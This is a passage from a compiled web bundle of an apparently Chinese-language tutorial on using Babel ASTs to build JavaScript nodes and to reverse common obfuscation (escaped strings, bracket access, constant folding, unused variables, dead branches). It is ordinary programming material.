\u7c7b\u578b\u7684\u8282\u70b9\u7ec4\u6210\u7684\u5217\u8868\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5148\u5199\u51fa\u4ee5\u4e0b ",(0,t.jsx)(e.code,{children:"visitor"})," \u90e8\u5206\u7684\u4ee3\u7801\uff0c\u5176\u4e2d ",(0,t.jsx)(e.code,{children:"path.insertAfter()"})," \u662f\u5728\u8be5\u8282\u70b9\u4e4b\u540e\u63d2\u5165\u65b0\u8282\u70b9\u7684\u610f\u601d\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n VariableDeclaration(path) {\n\n let declaration = types.variableDeclaration("const", [declarator])\n\n path.insertAfter(declaration)\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u8fd8\u9700\u8981\u8fdb\u4e00\u6b65\u5b9a\u4e49 ",(0,t.jsx)(e.code,{children:"declarator"}),"\uff0c\u4e5f\u5c31\u662f ",(0,t.jsx)(e.code,{children:"VariableDeclarator"})," \u7c7b\u578b\u7684\u8282\u70b9\uff0c\u67e5\u8be2\u5176\u6e90\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"function variableDeclarator(id: BabelNodeLVal, init?: BabelNodeExpression)\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u89c2\u5bdf AST\uff0cid \u4e3a ",(0,t.jsx)(e.code,{children:"Identifier"})," \u5bf9\u8c61\uff0cinit \u4e3a ",(0,t.jsx)(e.code,{children:"BinaryExpression"})," \u5bf9\u8c61\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647061.png-.png",alt:"12"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5148\u6765\u5904\u7406 id\uff0c\u53ef\u4ee5\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"types.identifier()"})," \u65b9\u6cd5\u6765\u751f\u6210\uff0c\u5176\u6e90\u7801\u4e3a ",(0,t.jsx)(e.code,{children:"function identifier(name: string)"}),"\uff0cname \u5728\u8fd9\u91cc\u5c31\u662f b \u4e86\uff0c\u6b64\u65f6 ",(0,t.jsx)(e.code,{children:"visitor"})," \u4ee3\u7801\u5c31\u53ef\u4ee5\u8fd9\u4e48\u5199\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n VariableDeclaration(path) {\n\n let declarator = types.variableDeclarator(types.identifier("b"), init)\n\n let declaration = types.variableDeclaration("const", [declarator])\n\n path.insertAfter(declaration)\n\n }\n\n}\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u7136\u540e\u518d\u6765\u770b init \u8be5\u5982\u4f55\u5b9a\u4e49\uff0c\u9996\u5148\u4ecd\u7136\u662f\u770b AST \u7ed3\u6784\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647062.png-.png",alt:"13"})}),"\n",(0,t.jsxs)(e.p,{children:["init \u4e3a ",(0,t.jsx)(e.code,{children:"BinaryExpression"})," \u5bf9\u8c61\uff0cleft \u5de6\u8fb9\u662f ",(0,t.jsx)(e.code,{children:"BinaryExpression"}),"\uff0cright \u53f3\u8fb9\u662f ",(0,t.jsx)(e.code,{children:"NumericLiteral"}),"\uff0c\u53ef\u4ee5\u7528 ",(0,t.jsx)(e.code,{children:"types.binaryExpression()"})," \u65b9\u6cd5\u6765\u751f\u6210 init\uff0c\u5176\u6e90\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'function binaryExpression(\n\n operator: "+" | "-" | "/" | "%" | "*" | "**" | "&" | "|" | ">>" | ">>>" | "<<" | "^" | "==" | "===" | "!=" | "!==" | "in" | "instanceof" | ">" | "<" | ">=" | "<=",\n\n left: BabelNodeExpression | BabelNodePrivateName, \n\n right: BabelNodeExpression\n\n)\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6b64\u65f6 ",(0,t.jsx)(e.code,{children:"visitor"})," \u4ee3\u7801\u5c31\u53ef\u4ee5\u8fd9\u4e48\u5199\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n VariableDeclaration(path) {\n\n let init = types.binaryExpression("+", left, right)\n\n let declarator = types.variableDeclarator(types.identifier("b"), init)\n\n let declaration = types.variableDeclaration("const", [declarator])\n\n path.insertAfter(declaration)\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u7136\u540e\u7ee7\u7eed\u6784\u9020 left \u548c right\uff0c\u548c\u524d\u9762\u7684\u65b9\u6cd5\u4e00\u6837\uff0c\u89c2\u5bdf AST \u8bed\u6cd5\u6811\uff0c\u67e5\u8be2\u5bf9\u5e94\u65b9\u6cd5\u5e94\u8be5\u4f20\u5165\u7684\u53c2\u6570\uff0c\u5c42\u5c42\u5d4c\u5957\uff0c\u76f4\u5230\u628a\u6240\u6709\u7684\u8282\u70b9\u90fd\u6784\u9020\u5b8c\u6bd5\uff0c\u6700\u7ec8\u7684 ",(0,t.jsx)(e.code,{children:"visitor"})," \u4ee3\u7801\u5e94\u8be5\u662f\u8fd9\u6837\u7684\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const visitor = {\n\n VariableDeclaration(path) {\n\n let left = types.binaryExpression("*", types.identifier("a"), types.numericLiteral(5))\n\n let right = types.numericLiteral(1)\n\n let init = types.binaryExpression("+", left, right)\n\n let declarator = types.variableDeclarator(types.identifier("b"), init)\n\n let declaration = types.variableDeclaration("const", [declarator])\n\n path.insertAfter(declaration)\n\n path.stop()\n\n }\n\n}\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6ce8\u610f\uff1a",(0,t.jsx)(e.code,{children:"path.insertAfter()"})," \u63d2\u5165\u8282\u70b9\u8bed\u53e5\u540e\u9762\u52a0\u4e86\u4e00\u53e5 ",(0,t.jsx)(e.code,{children:"path.stop()"}),"\uff0c\u8868\u793a\u63d2\u5165\u5b8c\u6210\u540e\u7acb\u5373\u505c\u6b62\u904d\u5386\u5f53\u524d\u8282\u70b9\u548c\u540e\u7eed\u7684\u5b50\u8282\u70b9\uff0c\u6dfb\u52a0\u7684\u65b0\u8282\u70b9\u4e5f\u662f ",(0,t.jsx)(e.code,{children:"VariableDeclaration"}),"\uff0c\u5982\u679c\u4e0d\u52a0\u505c\u6b62\u8bed\u53e5\u7684\u8bdd\uff0c\u5c31\u4f1a\u65e0\u9650\u5faa\u73af\u63d2\u5165\u4e0b\u53bb\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u63d2\u5165\u65b0\u8282\u70b9\u540e\uff0c\u518d\u8f6c\u6362\u6210 JavaScript \u4ee3\u7801\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u591a\u4e86\u4e00\u884c\u65b0\u4ee3\u7801\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647063.png-.png",alt:"14"})}),"\n",(0,t.jsx)(e.h2,{id:"\u5e38\u89c1\u6df7\u6dc6\u8fd8\u539f",children:"\u5e38\u89c1\u6df7\u6dc6\u8fd8\u539f"}),"\n",(0,t.jsx)(e.p,{children:"\u4e86\u89e3\u4e86 AST \u548c babel \u540e\uff0c\u5c31\u53ef\u4ee5\u5bf9 JavaScript \u6df7\u6dc6\u4ee3\u7801\u8fdb\u884c\u8fd8\u539f\u4e86\uff0c\u4ee5\u4e0b\u662f\u90e8\u5206\u6837\u4f8b\uff0c\u5e26\u4f60\u8fdb\u4e00\u6b65\u719f\u6089 babel \u7684\u5404\u79cd\u64cd\u4f5c\u3002"}),"\n",(0,t.jsx)(e.h3,{id:"\u5b57\u7b26\u4e32\u8fd8\u539f",children:"\u5b57\u7b26\u4e32\u8fd8\u539f"}),"\n",(0,t.jsx)(e.p,{children:"\u6587\u7ae0\u5f00\u5934\u7684\u56fe\u4e2d\u4e3e\u4e86\u4e2a\u4f8b\u5b50\uff0c\u6b63\u5e38\u5b57\u7b26\u88ab\u6362\u6210\u4e86 Unicode \u7f16\u7801\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"console['\\u006c\\u006f\\u0067']('\\u0048\\u0065\\u006c\\u006c\\u006f\\u0020\\u0077\\u006f\\u0072\\u006c\\u0064\\u0021')\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf AST \u7ed3\u6784\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:"https://img2022.cnblogs.com/other/2501174/202204/2501174-20220427101426636-489998048.png",children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647064.png-.png",alt:"15"})})}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u53d1\u73b0 Unicode \u7f16\u7801\u5bf9\u5e94\u7684\u662f ",(0,t.jsx)(e.code,{children:"raw"}),"\uff0c\u800c ",(0,t.jsx)(e.code,{children:"rawValue"})," \u548c ",(0,t.jsx)(e.code,{children:"value"})," \u90fd\u662f\u6b63\u5e38\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5c06 ",(0,t.jsx)(e.code,{children:"raw"})," \u66ff\u6362\u6210 ",(0,t.jsx)(e.code,{children:"rawValue"})," \u6216 ",(0,t.jsx)(e.code,{children:"value"})," \u5373\u53ef\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f\u5f15\u53f7\u7684\u95ee\u9898\uff0c\u672c\u6765\u662f ",(0,t.jsx)(e.code,{children:'console["log"]'}),"\uff0c\u4f60\u8fd8\u539f\u540e\u53d8\u6210\u4e86 ",(0,t.jsx)(e.code,{children:"console[log]"}),"\uff0c\u81ea\u7136\u4f1a\u62a5\u9519\u7684\uff0c\u9664\u4e86\u66ff\u6362\u503c\u4ee5\u5916\uff0c\u8fd9\u91cc\u76f4\u63a5\u5220\u9664 extra \u8282\u70b9\uff0c\u6216\u8005\u5220\u9664 raw \u503c\u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u6240\u4ee5\u4ee5\u4e0b\u51e0\u79cd\u5199\u6cd5\u90fd\u53ef\u4ee5\u8fd8\u539f\u4ee3\u7801\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const parser = require(\"@babel/parser\");\n\nconst generate = require(\"@babel/generator\").default\n\nconst traverse = require(\"@babel/traverse\").default\n\n\n\nconst code = `console['\\u006c\\u006f\\u0067']('\\u0048\\u0065\\u006c\\u006c\\u006f\\u0020\\u0077\\u006f\\u0072\\u006c\\u0064\\u0021')`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n StringLiteral(path) {\n\n // \u4ee5\u4e0b\u65b9\u6cd5\u5747\u53ef\n\n // path.node.extra.raw = path.node.rawValue\n\n // path.node.extra.raw = '\"' + path.node.value + '\"'\n\n // delete path.node.extra\n\n delete path.node.extra.raw\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd8\u539f\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'console["log"]("Hello world!");\n'})}),"\n",(0,t.jsx)(e.h3,{id:"\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\u8fd8\u539f",children:"\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\u8fd8\u539f"}),"\n",(0,t.jsx)(e.p,{children:"\u4ee5\u524d\u9762\u7684\u4f8b\u5b50"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-js",children:'console["log"]("Hello world!");\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u5728JS\u4e2d\uff0c\u5c5e\u6027\u7684\u8bbf\u95ee\u65b9\u5f0f\u6709\u4e24\u79cd\uff0c\u4e00\u79cd\u662f\u4ee5",(0,t.jsx)(e.code,{children:"[]"}),"\u7684\u65b9\u5f0f\uff0c\u4e00\u79cd\u662f",(0,t.jsx)(e.code,{children:"."}),"\u7684\u65b9\u5f0f\uff0c\u5728\u4f7f\u7528\u4e2a\u4eba\u5f00\u53d1\u4e2d\uff0c\u666e\u904d\u4f7f\u7528",(0,t.jsx)(e.code,{children:"."}),"\u7684\u65b9\u5f0f\u8fdb\u884c\u8bbf\u95ee\uff0c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647065.png-.png",alt:"image-20250117094913357"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647066.png-.png",alt:"image-20250117095910230"})}),"\n",(0,t.jsxs)(e.p,{children:["\u4e0e",(0,t.jsx)(e.code,{children:"."}),"\u65b9\u5f0f\u4e0d\u540c\uff0c\u53ef\u4ee5\u770b\u5230\u591a\u51fa\u4e86",(0,t.jsx)(e.code,{children:"computed=true"}),"\u548c",(0,t.jsx)(e.code,{children:"property"}),"\u7684\u7c7b\u578b\u53d1\u751f\u4e86\u53d8\u5316\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4fee\u6539",(0,t.jsx)(e.code,{children:"computed=flase"}),"\u548c\u8fd8\u539f",(0,t.jsx)(e.code,{children:"property"}),"\u7684 \u7c7b\u578b\u5373\u53ef\u5373\u53ef\u8fd8\u539f\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst types = require("@babel/types");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\n\n\nconst code = `\nconsole[\'log\'](\'hello, world!\');\n`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n MemberExpression(path){\n if(path.node.computed){\n path.node.computed = false\n path.node.property = types.identifier("log");\n debugger\n\n }\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n\n'})}),"\n",(0,t.jsx)(e.h3,{id:"\u8868\u8fbe\u5f0f\u8fd8\u539f",children:"\u8868\u8fbe\u5f0f\u8fd8\u539f"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"![]"})," \u53ef\u8868\u793a false\uff0c",(0,t.jsx)(e.code,{children:"!![]"})," \u6216\u8005 ",(0,t.jsx)(e.code,{children:"!+[]"})," \u53ef\u8868\u793a true\uff0c\u5728\u4e00\u4e9b\u6df7\u6dc6\u4ee3\u7801\u4e2d\uff0c\u7ecf\u5e38\u6709\u8fd9\u4e9b\u64cd\u4f5c\uff0c\u628a\u7b80\u5355\u7684\u8868\u8fbe\u5f0f\u590d\u6742\u5316\uff0c\u5f80\u5f80\u9700\u8981\u6267\u884c\u4e00\u4e0b\u8bed\u53e5\uff0c\u624d\u80fd\u5f97\u5230\u771f\u6b63\u7684\u7ed3\u679c\uff0c\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const a = !![]+!![]+!![];\n\nconst b = Math.floor(12.34 * 2.12)\n\nconst c = 10 >> 3 << 1\n\nconst d = String(21.3 + 14 * 1.32)\n\nconst e = parseInt("1.893" + "45.9088")\n\nconst f = parseFloat("23.2334" + "21.89112")\n\nconst g = 20 < 18 ? \'\u672a\u6210\u5e74\' : \'\u6210\u5e74\'\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u60f3\u8981\u6267\u884c\u8bed\u53e5\uff0c\u6211\u4eec\u9700\u8981\u4e86\u89e3 ",(0,t.jsx)(e.code,{children:"path.evaluate()"})," \u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u4f1a\u5bf9 path \u5bf9\u8c61\u8fdb\u884c\u6267\u884c\u64cd\u4f5c\uff0c\u81ea\u52a8\u8ba1\u7b97\u51fa\u7ed3\u679c\uff0c\u8fd4\u56de\u4e00\u4e2a\u5bf9\u8c61\uff0c\u5176\u4e2d\u7684 ",(0,t.jsx)(e.code,{children:"confident"})," \u5c5e\u6027\u8868\u793a\u7f6e\u4fe1\u5ea6\uff0c",(0,t.jsx)(e.code,{children:"value"})," \u8868\u793a\u8ba1\u7b97\u7ed3\u679c\uff0c\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"types.valueToNode()"})," \u65b9\u6cd5\u521b\u5efa\u8282\u70b9\uff0c\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"path.replaceInline()"})," \u65b9\u6cd5\u5c06\u8282\u70b9\u66ff\u6362\u6210\u8ba1\u7b97\u7ed3\u679c\u751f\u6210\u7684\u65b0\u8282\u70b9\uff0c\u66ff\u6362\u65b9\u6cd5\u6709\u4e00\u4e0b\u51e0\u79cd\uff1a"]}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"replaceWith"}),"\uff1a\u7528\u4e00\u4e2a\u8282\u70b9\u66ff\u6362\u53e6\u4e00\u4e2a\u8282\u70b9\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"replaceWithMultiple"}),"\uff1a\u7528\u591a\u4e2a\u8282\u70b9\u66ff\u6362\u53e6\u4e00\u4e2a\u8282\u70b9\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"replaceWithSourceString"}),"\uff1a\u5c06\u4f20\u5165\u7684\u6e90\u7801\u5b57\u7b26\u4e32\u89e3\u6790\u6210\u5bf9\u5e94 Node \u540e\u518d\u66ff\u6362\uff0c\u6027\u80fd\u8f83\u5dee\uff0c\u4e0d\u5efa\u8bae\u4f7f\u7528\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"replaceInline"}),"\uff1a\u7528\u4e00\u4e2a\u6216\u591a\u4e2a\u8282\u70b9\u66ff\u6362\u53e6\u4e00\u4e2a\u8282\u70b9\uff0c\u76f8\u5f53\u4e8e\u540c\u65f6\u6709\u4e86\u524d\u4e24\u4e2a\u51fd\u6570\u7684\u529f\u80fd\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:"\u5bf9\u5e94\u7684 AST \u5904\u7406\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\n\n\n\n\n\nconst code = `\nconst a = !![]+!![]+!![];\nconst b = Math.floor(12.34 * 2.12)\nconst c = 10 >> 3 << 1\nconst d = String(21.3 + 14 * 1.32)\nconst e = parseInt("1.893" + "45.9088")\nconst f = parseFloat("23.2334" + "21.89112")\nconst g = 20 < 18 ? \'\u672a\u6210\u5e74\' : \'\u6210\u5e74\'\n`;\n\n\n\nconst visitor = {\n "BinaryExpression|CallExpression|ConditionalExpression"(path){\n const {confident, value} = path.evaluate();\n if (confident){\n let node = types.valueToNode(value);\n if (node.type === \'StringLiteral\'){\n node.extra = {\n raw: `"${value}"`,\n rawValue: `${value}`,\n }\n }\n // console.log(node);\n path.replaceInline(node)\n }\n },\n}\nconst ast = parser.parse(code, {sourceType: "module"})\ntraverse(ast, visitor)\nconst result = generate(ast)\nconsole.log(result.code)\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u6700\u7ec8\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const a = 3;\nconst b = 26;\nconst c = 2;\nconst d = "39.78";\nconst e = 1;\nconst f = 23.233421;\nconst g = "\u6210\u5e74";\n'})}),"\n",(0,t.jsx)(e.h3,{id:"\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf",children:"\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf"}),"\n",(0,t.jsx)(e.p,{children:"\u6709\u65f6\u5019\u4ee3\u7801\u91cc\u4f1a\u6709\u4e00\u4e9b\u5e76\u6ca1\u6709\u4f7f\u7528\u5230\u7684\u591a\u4f59\u53d8\u91cf\uff0c\u5220\u9664\u8fd9\u4e9b\u591a\u4f59\u53d8\u91cf\u6709\u52a9\u4e8e\u66f4\u52a0\u9ad8\u6548\u7684\u5206\u6790\u4ee3\u7801\uff0c\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const a = 1;\n\nconst b = a * 2;\n\nconst c = 2;\n\nconst d = b + 1;\n\nconst e = 3;\n\nconsole.log(d)\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5220\u9664\u591a\u4f59\u53d8\u91cf\uff0c\u9996\u5148\u8981\u4e86\u89e3 ",(0,t.jsx)(e.code,{children:"NodePath"})," \u4e2d\u7684 ",(0,t.jsx)(e.code,{children:"scope"}),"\uff0c",(0,t.jsx)(e.code,{children:"scope"})," \u7684\u4f5c\u7528\u4e3b\u8981\u662f\u67e5\u627e\u6807\u8bc6\u7b26\u7684\u4f5c\u7528\u57df\u3001\u83b7\u53d6\u5e76\u4fee\u6539\u6807\u8bc6\u7b26\u7684\u6240\u6709\u5f15\u7528\u7b49\uff0c\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf\u4e3b\u8981\u7528\u5230\u4e86 ",(0,t.jsx)(e.code,{children:"scope.getBinding()"})," \u65b9\u6cd5\uff0c\u4f20\u5165\u7684\u503c\u662f\u5f53\u524d\u8282\u70b9\u80fd\u591f\u5f15\u7528\u5230\u7684\u6807\u8bc6\u7b26\u540d\u79f0\uff0c\u8fd4\u56de\u7684\u5173\u952e\u5c5e\u6027\u6709\u4ee5\u4e0b\u51e0\u4e2a\uff1a"]}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"identifier"}),"\uff1a\u6807\u8bc6\u7b26\u7684 Node \u5bf9\u8c61\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"path"}),"\uff1a\u6807\u8bc6\u7b26\u7684 NodePath \u5bf9\u8c61\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"constant"}),"\uff1a\u6807\u8bc6\u7b26\u662f\u5426\u4e3a\u5e38\u91cf\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"referenced"}),"\uff1a\u6807\u8bc6\u7b26\u662f\u5426\u88ab\u5f15\u7528\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"references"}),"\uff1a\u6807\u8bc6\u7b26\u88ab\u5f15\u7528\u7684\u6b21\u6570\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"constantViolations"}),"\uff1a\u5982\u679c\u6807\u8bc6\u7b26\u88ab\u4fee\u6539\uff0c\u5219\u4f1a\u5b58\u653e\u6240\u6709\u4fee\u6539\u8be5\u6807\u8bc6\u7b26\u8282\u70b9\u7684 Path \u5bf9\u8c61\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"referencePaths"}),"\uff1a\u5982\u679c\u6807\u8bc6\u7b26\u88ab\u5f15\u7528\uff0c\u5219\u4f1a\u5b58\u653e\u6240\u6709\u5f15\u7528\u8be5\u6807\u8bc6\u7b26\u8282\u70b9\u7684 Path \u5bf9\u8c61\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7 ",(0,t.jsx)(e.code,{children:"constantViolations"}),"\u3001",(0,t.jsx)(e.code,{children:"referenced"}),"\u3001",(0,t.jsx)(e.code,{children:"references"}),"\u3001",(0,t.jsx)(e.code,{children:"referencePaths"})," \u591a\u4e2a\u53c2\u6570\u6765\u5224\u65ad\u53d8\u91cf\u662f\u5426\u53ef\u4ee5\u88ab\u5220\u9664\uff0cAST \u5904\u7406\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\n\n\nconst code = `\n\nconst a = 1;\n\nconst b = a * 2;\n\nconst c = 2;\n\nconst d = b + 1;\n\nconst e = 3;\n\nconsole.log(d)\n\n`\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n VariableDeclarator(path){\n\n const binding = path.scope.getBinding(path.node.id.name);\n\n\n\n // \u5982\u6807\u8bc6\u7b26\u88ab\u4fee\u6539\u8fc7\uff0c\u5219\u4e0d\u80fd\u8fdb\u884c\u5220\u9664\u52a8\u4f5c\u3002\n\n if (!binding || binding.constantViolations.length > 0) {\n\n return;\n\n }\n\n\n\n // \u672a\u88ab\u5f15\u7528\n\n if (!binding.referenced) {\n\n path.remove();\n\n }\n\n\n\n // \u88ab\u5f15\u7528\u6b21\u6570\u4e3a0\n\n // if (binding.references === 0) {\n\n // path.remove();\n\n // }\n\n\n\n // \u957f\u5ea6\u4e3a0\uff0c\u53d8\u91cf\u6ca1\u6709\u88ab\u5f15\u7528\u8fc7\n\n // if (binding.referencePaths.length === 0) {\n\n // path.remove();\n\n // }\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u5904\u7406\u540e\u7684\u4ee3\u7801\uff08\u672a\u4f7f\u7528\u7684 b\u3001c\u3001e \u53d8\u91cf\u5df2\u88ab\u5220\u9664\uff09\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const a = 1;\n\nconst b = a * 2;\n\nconst d = b + 1;\n\nconsole.log(d);\n"})}),"\n",(0,t.jsx)(e.h3,{id:"\u5220\u9664\u5197\u4f59\u903b\u8f91\u4ee3\u7801",children:"\u5220\u9664\u5197\u4f59\u903b\u8f91\u4ee3\u7801"}),"\n",(0,t.jsx)(e.p,{children:"\u6709\u65f6\u5019\u4e3a\u4e86\u589e\u52a0\u9006\u5411\u96be\u5ea6\uff0c\u4f1a\u6709\u5f88\u591a\u5d4c\u5957\u7684 if-else \u8bed\u53e5\uff0c\u5927\u91cf\u5224\u65ad\u4e3a\u5047\u7684\u5197\u4f59\u903b\u8f91\u4ee3\u7801\uff0c\u540c\u6837\u53ef\u4ee5\u5229\u7528 AST \u5c06\u5176\u5220\u9664\u6389\uff0c\u53ea\u7559\u4e0b\u5224\u65ad\u4e3a\u771f\u7684\uff0c\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:"const example = function () {\n\n let a;\n\n if (false) {\n\n a = 1;\n\n } else {\n\n if (1) {\n\n a = 2;\n\n }\n\n else {\n\n a = 3;\n\n }\n\n }\n\n return a;\n\n};\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u89c2\u5bdf AST\uff0c\u5224\u65ad\u6761\u4ef6\u5bf9\u5e94\u7684\u662f ",(0,t.jsx)(e.code,{children:"test"})," \u8282\u70b9\uff0cif \u5bf9\u5e94\u7684\u662f ",(0,t.jsx)(e.code,{children:"consequent"})," \u8282\u70b9\uff0celse \u5bf9\u5e94\u7684\u662f ",(0,t.jsx)(e.code,{children:"alternate"})," \u8282\u70b9\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647067.png-.png",alt:"16"})}),"\n",(0,t.jsx)(e.p,{children:"AST \u5904\u7406\u601d\u8def\u4ee5\u53ca\u4ee3\u7801\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:["\u7b5b\u9009\u51fa ",(0,t.jsx)(e.code,{children:"BooleanLiteral"})," \u548c ",(0,t.jsx)(e.code,{children:"NumericLiteral"})," \u8282\u70b9\uff0c\u53d6\u5176\u5bf9\u5e94\u7684\u503c\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"path.node.test.value"}),"\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u5224\u65ad ",(0,t.jsx)(e.code,{children:"value"})," \u503c\u4e3a\u771f\uff0c\u5219\u5c06\u8282\u70b9\u66ff\u6362\u6210 ",(0,t.jsx)(e.code,{children:"consequent"})," \u8282\u70b9\u4e0b\u7684\u5185\u5bb9\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"path.node.consequent.body"}),"\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u5224\u65ad ",(0,t.jsx)(e.code,{children:"value"})," 